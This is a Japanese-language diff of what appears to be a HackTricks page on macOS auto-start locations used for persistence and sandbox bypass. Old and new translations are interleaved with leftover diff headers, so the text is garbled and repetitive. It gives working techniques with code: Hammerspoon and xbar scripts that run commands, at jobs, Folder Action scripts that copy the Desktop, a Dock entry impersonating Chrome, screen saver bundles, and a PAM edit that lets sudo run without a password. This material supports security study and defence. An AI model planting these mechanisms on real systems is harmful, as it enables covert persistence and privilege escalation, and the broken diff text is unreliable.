[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon)は自動化ツールで、**LUAスクリプト言語を通じてmacOSのスクリプティングを可能にします**。AppleScriptのコードを完全に埋め込んだり、シェルスクリプトを実行することもできます。
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon)は自動化ツールで、**LUAスクリプト言語を通じてmacOSのスクリプティング**を可能にします。AppleScriptのコードを埋め込んだり、シェルスクリプトを実行することもできます。
|
||||
|
||||
アプリは単一のファイル`~/.hammerspoon/init.lua`を探し、起動時にスクリプトが実行されます。
|
||||
アプリは`~/.hammerspoon/init.lua`という単一のファイルを探し、起動時にスクリプトが実行されます。
|
||||
```bash
|
||||
mkdir -p "$HOME/.hammerspoon"
|
||||
cat > "$HOME/.hammerspoon/init.lua" << EOF
|
||||
hs.execute("id > /tmp/hs.txt")
|
||||
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
|
||||
EOF
|
||||
```
|
||||
### SSHRC
|
||||
|
@ -515,9 +537,9 @@ EOF
|
|||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
|
||||
|
||||
* サンドボックスをバイパスするのに役立つ: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただし、sshが有効になっていて使用される必要がある
|
||||
* しかし、sshが有効であり、使用される必要がある
|
||||
|
||||
#### 場所
|
||||
#### 位置
|
||||
|
||||
* **`~/.ssh/rc`**
|
||||
* **トリガー**: ssh経由でのログイン
|
||||
|
@ -525,20 +547,17 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
|
|||
* Rootが必要
|
||||
* **トリガー**: ssh経由でのログイン
|
||||
|
||||
{% hint style="danger" %}
|
||||
sshをオンにするにはフルディスクアクセスが必要です: 
|
||||
```bash
|
||||
sudo systemsetup -setremotelogin on
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
#### 説明と悪用
|
||||
|
||||
デフォルトでは、`/etc/ssh/sshd_config`に`PermitUserRC no`がない限り、ユーザーが**SSH経由でログイン**すると、スクリプト**`/etc/ssh/sshrc`**と**`~/.ssh/rc`**が実行されます。
|
||||
デフォルトでは、`/etc/ssh/sshd_config` に `PermitUserRC no` が設定されていない限り、ユーザーが **SSH経由でログインする** と、スクリプト **`/etc/ssh/sshrc`** と **`~/.ssh/rc`** が実行されます。
|
||||
|
||||
#### 説明
|
||||
|
||||
人気のあるプログラム[**xbar**](https://github.com/matryer/xbar)がインストールされている場合、**`~/Library/Application\ Support/xbar/plugins/`**にシェルスクリプトを書くことができ、xbarが起動したときに実行されます:
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
|
||||
#!/bin/bash
|
||||
touch /tmp/xbar
|
||||
EOF
|
||||
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
||||
```
|
||||
### **ログイン項目**
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
|
||||
|
@ -550,15 +569,15 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.
|
|||
|
||||
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
|
||||
* **トリガー:** ログイン
|
||||
* **`osascript`** を呼び出してペイロードを格納
|
||||
* **`osascript`** を呼び出してエクスプロイトペイロードを格納
|
||||
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
||||
* **トリガー:** ログイン
|
||||
* ルート権限が必要
|
||||
* Rootが必要
|
||||
|
||||
#### 説明
|
||||
|
||||
システム環境設定 -> ユーザとグループ -> **ログイン項目** で、**ユーザがログインしたときに実行される項目**を見つけることができます。\
|
||||
コマンドラインからリスト表示、追加、削除が可能です:
|
||||
システム環境設定 -> ユーザーとグループ -> **ログイン項目** で、**ユーザーがログインしたときに実行される項目** を見つけることができます。\
|
||||
コマンドラインからリスト表示、追加、削除が可能です。
|
||||
```bash
|
||||
#List all items:
|
||||
osascript -e 'tell application "System Events" to get the name of every login item'
|
||||
|
@ -571,34 +590,34 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
```
|
||||
これらのアイテムはファイル **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** に保存されています。
|
||||
|
||||
**ログインアイテム**はAPI [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) を使用して指定することも**可能**で、設定は **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** に保存されます。
|
||||
**ログインアイテム**は、API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) を使用して指定することもでき、設定は **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** に保存されます。
|
||||
|
||||
### ZIPをログインアイテムとして
|
||||
|
||||
(ログインアイテムについての前のセクションを確認してください、これは拡張です)
|
||||
(ログインアイテムについての前のセクションを確認してください。これは拡張です)
|
||||
|
||||
**ZIP** ファイルを **ログインアイテム** として保存すると、**`Archive Utility`** がそれを開き、例えばZIPが **`~/Library`** に保存されていて、バックドアを含むフォルダ **`LaunchAgents/file.plist`** を含んでいた場合、そのフォルダは(デフォルトでは存在しない)作成され、plistが追加されるので、次にユーザーが再度ログインすると、**plistに指定されたバックドアが実行されます**。
|
||||
|
||||
別のオプションとしては、ユーザーのHOME内にファイル **`.bash_profile`** と **`.zshenv`** を作成することで、もしLaunchAgentsフォルダが既に存在していた場合でもこのテクニックは機能します。
|
||||
別のオプションとしては、ユーザーのHOME内にファイル **`.bash_profile`** と **`.zshenv`** を作成することで、LaunchAgentsフォルダが既に存在していてもこのテクニックは機能します。
|
||||
|
||||
### At
|
||||
|
||||
ライトアップ: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
|
||||
|
||||
#### 位置
|
||||
#### 場所
|
||||
|
||||
* **`at`** を**実行**する必要があり、それが**有効**になっている必要があります。
|
||||
|
||||
#### **説明**
|
||||
|
||||
“Atタスク”は、**特定の時間にタスクをスケジュールするために使用されます**。\
|
||||
これらのタスクはcronと異なり、**一度きりのタスクで実行後に削除されます**。しかし、システム再起動後も**生き残る**ので、潜在的な脅威として排除することはできません。
|
||||
これらのタスクはcronと異なり、**実行後に削除される一回限りのタスクです**。しかし、システム再起動後も**生き残る**ので、潜在的な脅威として排除することはできません。
|
||||
|
||||
**デフォルト**では**無効**ですが、**root**ユーザーは以下で**それらを有効にする**ことができます:
|
||||
**デフォルト**では**無効**ですが、**root**ユーザーは以下で**有効**にすることができます:
|
||||
```bash
|
||||
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
|
||||
```
|
||||
この操作により、1時間後にファイルが作成されます:
|
||||
これにより、1時間後にファイルが作成されます:
|
||||
```bash
|
||||
echo "echo 11 > /tmp/at.txt" | at now+1
|
||||
```
|
||||
|
@ -608,7 +627,7 @@ sh-3.2# atq
|
|||
26 Tue Apr 27 00:46:00 2021
|
||||
22 Wed Apr 28 00:29:00 2021
|
||||
```
|
||||
上記では、2つのジョブがスケジュールされていることがわかります。`at -c JOBNUMBER`を使用してジョブの詳細を表示できます。
|
||||
上記では、2つのジョブがスケジュールされていることがわかります。`at -c JOBNUMBER` を使用してジョブの詳細を表示できます。
|
||||
```shell-session
|
||||
sh-3.2# at -c 26
|
||||
#!/bin/sh
|
||||
|
@ -656,7 +675,7 @@ total 32
|
|||
|
||||
* `a` - これはキューです
|
||||
* `0001a` - 16進数のジョブ番号で、`0x1a = 26` です
|
||||
* `019bdcd2` - 16進数の時間で、エポックからの経過分を表します。`0x019bdcd2` は10進数で `26991826` です。これに60を掛けると `1619509560` になり、これは `GMT: 2021年4月27日、火曜日7:46:00` です。
|
||||
* `019bdcd2` - 16進数の時間で、エポックからの経過分を表します。`0x019bdcd2` は10進数で `26991826` です。これに60を掛けると `1619509560` になり、これは `GMT: 2021年4月27日、火曜日 7:46:00` です。
|
||||
|
||||
ジョブファイルを印刷すると、`at -c` を使用して得たのと同じ情報が含まれていることがわかります。
|
||||
|
||||
|
@ -678,7 +697,7 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
|
|||
|
||||
#### 説明と悪用
|
||||
|
||||
フォルダアクションスクリプトは、それが添付されているフォルダにアイテムが追加または削除されたとき、またはそのウィンドウが開かれた、閉じられた、移動された、またはサイズが変更されたときに実行されます:
|
||||
フォルダアクションスクリプトは、アイテムが追加または削除されたとき、またはそのウィンドウが開かれた、閉じられた、移動された、またはサイズが変更されたときに実行されます:
|
||||
|
||||
* Finder UIを介してフォルダを開く
|
||||
* フォルダにファイルを追加する(ドラッグ&ドロップまたはターミナルのシェルプロンプトからでも可能)
|
||||
|
@ -688,12 +707,9 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
|
|||
これを実装する方法はいくつかあります:
|
||||
|
||||
1. [Automator](https://support.apple.com/guide/automator/welcome/mac) プログラムを使用してフォルダアクションワークフローファイル(.workflow)を作成し、サービスとしてインストールします。
|
||||
2. フォルダを右クリックし、`Folder Actions Setup...`、`Run Service` を選択し、スクリプトを手動で添付します。
|
||||
2. フォルダを右クリックし、`Folder Actions Setup...`、`Run Service` を選択し、手動でスクリプトを添付します。
|
||||
3. OSAScriptを使用して `System Events.app` にAppleイベントメッセージを送信し、プログラムで新しい `Folder Action` を照会および登録します。
|
||||
|
||||
|
||||
|
||||
* これは、`System Events.app` にAppleイベントメッセージを送信するOSAScriptを使用して永続性を実装する方法です
|
||||
* [ ] これは `System Events.app` にAppleイベントメッセージを送信するOSAScriptを使用して永続性を実装する方法です
|
||||
|
||||
これが実行されるスクリプトです:
|
||||
|
||||
|
@ -708,9 +724,9 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
次のようにコンパイルします: `osacompile -l JavaScript -o folder.scpt source.js`
|
||||
次のコマンドでコンパイルします: `osacompile -l JavaScript -o folder.scpt source.js`
|
||||
|
||||
その後、以下のスクリプトを実行してFolder Actionsを有効にし、先にコンパイルしたスクリプトをフォルダ**`/users/username/Desktop`**に添付します:
|
||||
その後、以下のスクリプトを実行してフォルダアクションを有効にし、先にコンパイルしたスクリプトをフォルダ **`/users/username/Desktop`** に添付します:
|
||||
```javascript
|
||||
var se = Application("System Events");
|
||||
se.folderActionsEnabled = true;
|
||||
|
@ -721,9 +737,9 @@ fa.scripts.push(myScript);
|
|||
```
|
||||
スクリプトを実行するには:`osascript -l JavaScript /Users/username/attach.scpt`
|
||||
|
||||
* これはGUIを介してこの持続性を実装する方法です:
|
||||
* これはGUIを介してこの永続性を実装する方法です:
|
||||
|
||||
これが実行されるスクリプトです:
|
||||
これは実行されるスクリプトです:
|
||||
|
||||
{% code title="source.js" %}
|
||||
```applescript
|
||||
|
@ -740,42 +756,41 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
これをコンパイルするには: `osacompile -l JavaScript -o folder.scpt source.js`
|
||||
|
||||
これを移動する先:
|
||||
```
|
||||
```bash
|
||||
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
```
|
||||
次に、`Folder Actions Setup` アプリを開き、**監視したいフォルダ**を選択し、あなたの場合は **`folder.scpt`** を選択します(私の場合は output2.scp と呼びました):
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
|
||||
これで、そのフォルダを **Finder** で開くと、スクリプトが実行されます。
|
||||
|
||||
この設定は、base64形式で **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** にある **plist** に保存されました。
|
||||
この設定は **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** にある **plist** に base64 形式で保存されました。
|
||||
|
||||
次に、GUIアクセスなしでこの永続性を準備してみましょう:
|
||||
GUI アクセスなしでこの永続性を準備しようとする場合:
|
||||
|
||||
1. **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** を `/tmp` にコピーしてバックアップします:
|
||||
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
||||
2. 設定したフォルダアクションを**削除**します:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
これで環境が空になりました
|
||||
|
||||
3. バックアップファイルをコピーします:`cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
|
||||
4. この設定を消費するために Folder Actions Setup.app を開きます:`open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
4. この設定を適用するために Folder Actions Setup.app を開きます:`open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
|
||||
{% hint style="danger" %}
|
||||
これは私にはうまくいきませんでしたが、これがレポートからの指示です :(
|
||||
これは私にはうまくいきませんでしたが、これが書き込みからの指示です :(
|
||||
{% endhint %}
|
||||
|
||||
### Spotlight Importers
|
||||
|
||||
レポート:[https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
|
||||
書き込み:[https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
|
||||
|
||||
* サンドボックスをバイパスするのに役立ちます:[🟠](https://emojipedia.org/large-orange-circle)
|
||||
* しかし、新しいサンドボックスに入ることになります
|
||||
* しかし新しいサンドボックスに入ることになります
|
||||
|
||||
#### 場所
|
||||
|
||||
|
@ -788,21 +803,21 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
|
||||
### Dock shortcuts
|
||||
|
||||
レポート:[https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
|
||||
書き込み:[https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
|
||||
|
||||
* サンドボックスをバイパスするのに役立ちます:[✅](https://emojipedia.org/check-mark-button)
|
||||
* しかし、システム内に悪意のあるアプリケーションをインストールしている必要があります
|
||||
* しかしシステム内に悪意のあるアプリケーションをインストールしている必要があります
|
||||
|
||||
#### 場所
|
||||
|
||||
* `~/Library/Preferences/com.apple.dock.plist`
|
||||
* **トリガー**:ユーザーがドック内のアプリをクリックしたとき
|
||||
|
||||
#### 説明 & 悪用
|
||||
#### 説明と悪用
|
||||
|
||||
ドックに表示されるすべてのアプリケーションは、plist:**`~/Library/Preferences/com.apple.dock.plist`** 内で指定されています。
|
||||
Dock に表示されるすべてのアプリケーションは **`~/Library/Preferences/com.apple.dock.plist`** 内で指定されています。
|
||||
|
||||
次のようにしてアプリケーションを**追加**することが可能です:
|
||||
次のようにアプリケーションを**追加**することが可能です:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -814,7 +829,7 @@ killall Dock
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
いくつかの**ソーシャルエンジニアリング**を使用して、たとえばドック内の**Google Chromeになりすまし**、実際に自分のスクリプトを実行することができます:
|
||||
いくつかの**ソーシャルエンジニアリング**を使用して、たとえばドック内の**Google Chromeになりすまし**、実際に自分のスクリプトを実行することができます:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -869,13 +884,13 @@ killall Dock
|
|||
```
|
||||
### カラーピッカー
|
||||
|
||||
解説: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
||||
|
||||
* サンドボックスをバイパスするのに役立つ: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 非常に特定のアクションが必要
|
||||
* 別のサンドボックスに入ることになる
|
||||
|
||||
#### 場所
|
||||
#### 位置
|
||||
|
||||
* `/Library/ColorPickers` 
|
||||
* Rootが必要
|
||||
|
@ -885,11 +900,11 @@ killall Dock
|
|||
|
||||
#### 説明 & エクスプロイト
|
||||
|
||||
**カラーピッカー** バンドルをあなたのコードでコンパイルします(例として[**このものを使用できます**](https://github.com/viktorstrate/color-picker-plus))、コンストラクタを追加します([スクリーンセーバーのセクション](macos-auto-start-locations.md#screen-saver)のように)そしてバンドルを `~/Library/ColorPickers` にコピーします。
|
||||
**カラーピッカー** バンドルをあなたのコードでコンパイルします(例として[**このものを使用**](https://github.com/viktorstrate/color-picker-plus)できます)そしてコンストラクタを追加します([スクリーンセーバーのセクション](macos-auto-start-locations.md#screen-saver)のように)そしてバンドルを `~/Library/ColorPickers` にコピーします。
|
||||
|
||||
その後、カラーピッカーがトリガーされたとき、あなたのコードも実行されるはずです。
|
||||
|
||||
ライブラリをロードするバイナリは**非常に制限的なサンドボックス**を持っていることに注意してください: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
バイナリがあなたのライブラリをロードする際には**非常に制限的なサンドボックス**があることに注意してください: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -900,8 +915,6 @@ killall Dock
|
|||
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
|
||||
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Finder Sync プラグイン
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\
|
||||
|
@ -917,7 +930,7 @@ killall Dock
|
|||
|
||||
Finder Sync 拡張機能を持つアプリケーションの例は[**こちらで見つけることができます**](https://github.com/D00MFist/InSync)。
|
||||
|
||||
アプリケーションは `Finder Sync 拡張機能` を持つことができます。この拡張機能は実行されるアプリケーションの内部に入ります。さらに、拡張機能がコードを実行するためには、有効なApple開発者証明書で**署名されている必要があります**、**サンドボックス化されている必要があります**(ただし、緩和された例外を追加することができます)そして、以下のようなもので登録されている必要があります:
|
||||
アプリケーションは `Finder Sync 拡張機能` を持つことができます。この拡張機能は実行されるアプリケーションの内部に入ります。さらに、拡張機能がコードを実行するためには、有効なApple開発者証明書で**署名されている必要があります**、**サンドボックス化されている必要があります**(ただし、緩和された例外を追加できます)そして、以下のようなもので登録されている必要があります:
|
||||
```bash
|
||||
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
|
||||
pluginkit -e use -i com.example.InSync.InSync
|
||||
|
@ -928,26 +941,26 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.
|
|||
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
||||
|
||||
* サンドボックスをバイパスするのに役立つ: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* しかし、一般的なアプリケーションサンドボックスに入ることになります
|
||||
* しかし、一般的なアプリケーションサンドボックスに終わる
|
||||
|
||||
#### 場所
|
||||
|
||||
* `/System/Library/Screen Savers` 
|
||||
* Root権限が必要
|
||||
* Rootが必要
|
||||
* **トリガー**: スクリーンセーバーを選択
|
||||
* `/Library/Screen Savers`
|
||||
* Root権限が必要
|
||||
* Rootが必要
|
||||
* **トリガー**: スクリーンセーバーを選択
|
||||
* `~/Library/Screen Savers`
|
||||
* **トリガー**: スクリーンセーバーを選択
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### 説明とエクスプロイト
|
||||
|
||||
Xcodeで新しいプロジェクトを作成し、新しい**スクリーンセーバー**を生成するテンプレートを選択します。次に、例えばログを生成する以下のコードを追加します。
|
||||
|
||||
**ビルド**し、`.saver`バンドルを**`~/Library/Screen Savers`**にコピーします。その後、スクリーンセーバーGUIを開き、それをクリックするだけで、多くのログが生成されるはずです:
|
||||
**ビルド**し、`.saver`バンドルを**`~/Library/Screen Savers`**にコピーします。その後、スクリーンセーバーGUIを開き、それをクリックすると、多くのログが生成されるはずです:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -961,7 +974,7 @@ Timestamp (process)[PID]
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
このコードを読み込むバイナリ(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`)のエンタイトルメント内に**`com.apple.security.app-sandbox`**が存在するため、**一般的なアプリケーションサンドボックス内**にいることに注意してください。
|
||||
バイナリのエンタイトルメント内にこのコードをロードする(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`)**`com.apple.security.app-sandbox`** が見つかるため、**一般的なアプリケーションサンドボックス内にいる**ことに注意してください。
|
||||
{% endhint %}
|
||||
|
||||
Saver code:
|
||||
|
@ -1034,7 +1047,7 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|||
|
||||
サンドボックスをバイパスするのに役立ちます: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
|
||||
* しかし、アプリケーションのサンドボックス内に終わります
|
||||
* しかし、アプリケーションのサンドボックス内で終了します
|
||||
|
||||
#### 場所
|
||||
|
||||
|
@ -1053,13 +1066,13 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|||
#### 説明と悪用
|
||||
|
||||
Spotlight は macOS の組み込み検索機能で、ユーザーがコンピュータ上のデータに**迅速かつ包括的にアクセスする**ことを目的としています。\
|
||||
この迅速な検索機能を実現するために、Spotlight は**独自のデータベース**を維持し、ほとんどのファイルを**解析することで**インデックスを作成し、ファイル名とその内容の両方を通じて迅速な検索を可能にします。
|
||||
この迅速な検索機能を実現するために、Spotlight は**独自のデータベース**を維持し、ほとんどのファイルを**解析して**インデックスを作成し、ファイル名だけでなくその内容を通じても迅速な検索が可能になります。
|
||||
|
||||
Spotlight の基本的なメカニズムには、**'metadata server'** を意味する 'mds' という中央プロセスが関与しています。このプロセスは、Spotlight サービス全体を調整します。これを補完するために、さまざまなファイルタイプのインデックス作成など、さまざまなメンテナンスタスクを実行する複数の 'mdworker' デーモンがあります(`ps -ef | grep mdworker`)。これらのタスクは、Spotlight インポータープラグイン、または **".mdimporter バンドル"** を通じて可能になります。これにより、Spotlight は多様なファイル形式のコンテンツを理解し、インデックスを作成することができます。
|
||||
Spotlight の基本的なメカニズムには、**「メタデータサーバー」**を意味する 'mds' という名前の中央プロセスが関与しています。このプロセスは、Spotlight サービス全体を調整します。これを補完するために、さまざまなファイルタイプのインデックス作成など、さまざまなメンテナンスタスクを実行する複数の 'mdworker' デーモンがあります(`ps -ef | grep mdworker`)。これらのタスクは、Spotlight インポータープラグイン、または **".mdimporter バンドル"** を通じて可能になります。これにより、Spotlight は多様なファイル形式の内容を理解し、インデックスを作成することができます。
|
||||
|
||||
プラグインまたは **`.mdimporter`** バンドルは、前述の場所にあり、新しいバンドルが現れると、サービスを再起動する必要なく数分以内にロードされます。これらのバンドルは、管理できる**ファイルタイプと拡張子を指定する**必要があります。このようにして、Spotlight は指定された拡張子を持つ新しいファイルが作成されたときにそれらを使用します。
|
||||
|
||||
ロードされているすべての `mdimporters` を見つけることができます。実行してください:
|
||||
ロードされているすべての `mdimporters` を見つけることが可能です。実行してください:
|
||||
```bash
|
||||
mdimport -L
|
||||
Paths: id(501) (
|
||||
|
@ -1105,7 +1118,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
[...]
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
他の`mdimporter`のPlistをチェックすると、**`UTTypeConformsTo`**のエントリが見つからないかもしれません。それは、それが組み込みの_Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier))であり、拡張子を指定する必要がないからです。
|
||||
他の`mdimporter`のPlistをチェックすると、**`UTTypeConformsTo`**のエントリーが見つからないかもしれません。それは、組み込みの_Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier))であり、拡張子を指定する必要がないためです。
|
||||
|
||||
さらに、システムのデフォルトプラグインは常に優先されるため、攻撃者はApple自身の`mdimporters`によってインデックスされていないファイルのみにアクセスできます。
|
||||
{% endhint %}
|
||||
|
@ -1139,7 +1152,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.g
|
|||
## Root Sandbox Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
ここでは、**root**であることと/または他の**奇妙な条件**が必要であることによって、ファイルに書き込むことで単純に何かを実行することを可能にする**サンドボックスバイパス**に役立つスタートロケーションを見つけることができます。
|
||||
ここでは、**サンドボックスバイパス**に役立つ起動場所を見つけることができます。これにより、**root**であることや他の**奇妙な条件**が必要であるファイルに何かを**書き込む**ことで単純に実行できます。
|
||||
{% endhint %}
|
||||
|
||||
### Periodic
|
||||
|
@ -1160,7 +1173,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.g
|
|||
|
||||
#### 説明 & 悪用
|
||||
|
||||
周期的なスクリプト(**`/etc/periodic`**)は、`/System/Library/LaunchDaemons/com.apple.periodic*`に設定された**ランチデーモン**によって実行されます。`/etc/periodic/`に保存されたスクリプトは**ファイルの所有者として** **実行される**ので、潜在的な権限昇格には機能しません。
|
||||
周期的なスクリプト(**`/etc/periodic`**)は、`/System/Library/LaunchDaemons/com.apple.periodic*`に設定された**ランチデーモン**のために実行されます。`/etc/periodic/`に保存されたスクリプトは**ファイルの所有者として** **実行される**ので、潜在的な権限昇格には機能しません。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1202,7 +1215,7 @@ daily_local="/etc/daily.local" # Local scripts
|
|||
weekly_local="/etc/weekly.local" # Local scripts
|
||||
monthly_local="/etc/monthly.local" # Local scripts
|
||||
```
|
||||
以下のファイルのいずれか `/etc/daily.local`、`/etc/weekly.local`、`/etc/monthly.local` に書き込むことができれば、**遅かれ早かれ実行されます**。
|
||||
以下のファイルのいずれか `/etc/daily.local`、`/etc/weekly.local`、`/etc/monthly.local` に書き込むことができれば、それは**遅かれ早かれ実行されます**。
|
||||
|
||||
{% hint style="warning" %}
|
||||
定期的なスクリプトは**スクリプトの所有者として実行される**ことに注意してください。通常のユーザーがスクリプトを所有している場合、そのユーザーとして実行されます(これにより権限昇格攻撃を防ぐことができるかもしれません)。
|
||||
|
@ -1210,31 +1223,31 @@ monthly_local="/etc/monthly.local" # Local scripts
|
|||
|
||||
### PAM
|
||||
|
||||
解説: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
|
||||
解説: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
|
||||
Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
|
||||
|
||||
* サンドボックスをバイパスするのに役立つ: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* ただし、rootである必要があります
|
||||
* サンドボックスをバイパスするのに役立ちます: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* しかし、rootである必要があります
|
||||
|
||||
#### 場所
|
||||
#### 位置
|
||||
|
||||
* 常にrootが必要です
|
||||
|
||||
#### 説明と悪用
|
||||
|
||||
PAMはmacOS内での簡単な実行よりも**永続性**とマルウェアに焦点を当てているため、このブログでは詳細な説明は提供しません。**このテクニックをよりよく理解するためには、解説を読んでください**。
|
||||
PAMはmacOS内での簡単な実行よりも**永続性**とマルウェアに焦点を当てているため、このブログでは詳細な説明は提供しません。**このテクニックをよりよく理解するためには、writeupsを読んでください**。
|
||||
|
||||
PAMモジュールを以下で確認: 
|
||||
PAMモジュールを以下で確認してください: 
|
||||
```bash
|
||||
ls -l /etc/pam.d
|
||||
```
|
||||
```markdown
|
||||
永続性/権限昇格テクニックとしてPAMを悪用する方法は、モジュール /etc/pam.d/sudo を変更し、最初に以下の行を追加することです:
|
||||
永続性/権限昇格テクニックでPAMを悪用するには、モジュール /etc/pam.d/sudo を変更し、最初に以下の行を追加するだけです:
|
||||
```
|
||||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
So it will **このように見える** something like this:
|
||||
それは次のように**見える**でしょう:
|
||||
```bash
|
||||
# sudo: auth account password session
|
||||
auth sufficient pam_permit.so
|
||||
|
@ -1245,7 +1258,7 @@ account required pam_permit.so
|
|||
password required pam_deny.so
|
||||
session required pam_permit.so
|
||||
```
|
||||
